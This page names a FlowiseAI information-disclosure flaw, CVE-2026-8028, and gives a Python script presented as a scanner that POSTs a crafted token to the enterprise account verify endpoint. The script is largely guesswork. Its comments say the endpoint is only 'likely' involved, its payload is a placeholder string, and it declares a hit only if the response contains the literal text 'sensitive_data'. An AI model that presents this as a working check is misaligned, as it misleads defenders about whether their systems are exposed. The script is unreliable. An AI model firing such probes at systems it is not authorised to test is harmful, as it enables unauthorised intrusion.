CVE-2026-8028 FlowiseAI 信息披露漏洞

import requests # Vulnerability: CVE-2026-8028 # Target: FlowiseAI Flowise <= 3.0.12 # Description: Information disclosure in account.service.ts verify function def check_vuln(url): # The vulnerable endpoint is likely related to account verification # Based on the file path: packages/server/src/enterprise/services/account.service.ts target_url = f"{url}/api/v1/enterprise/account/verify" headers = { "User-Agent": "CVE-2026-8028-Scanner", "Content-Type": "application/json" } # Payload attempting to trigger the information disclosure # Specific payload depends on the logic flaw in the verify function payload = { "token": "manipulated_data_to_trigger_leak" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) # Check if response contains sensitive information or unexpected data leakage if response.status_code == 200 and "sensitive_data" in response.text: print(f"[+] Vulnerability detected at: {target_url}") print(f"[+] Response: {response.text}") else: print(f"[-] Vulnerability not detected or system patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual target check_vuln(target)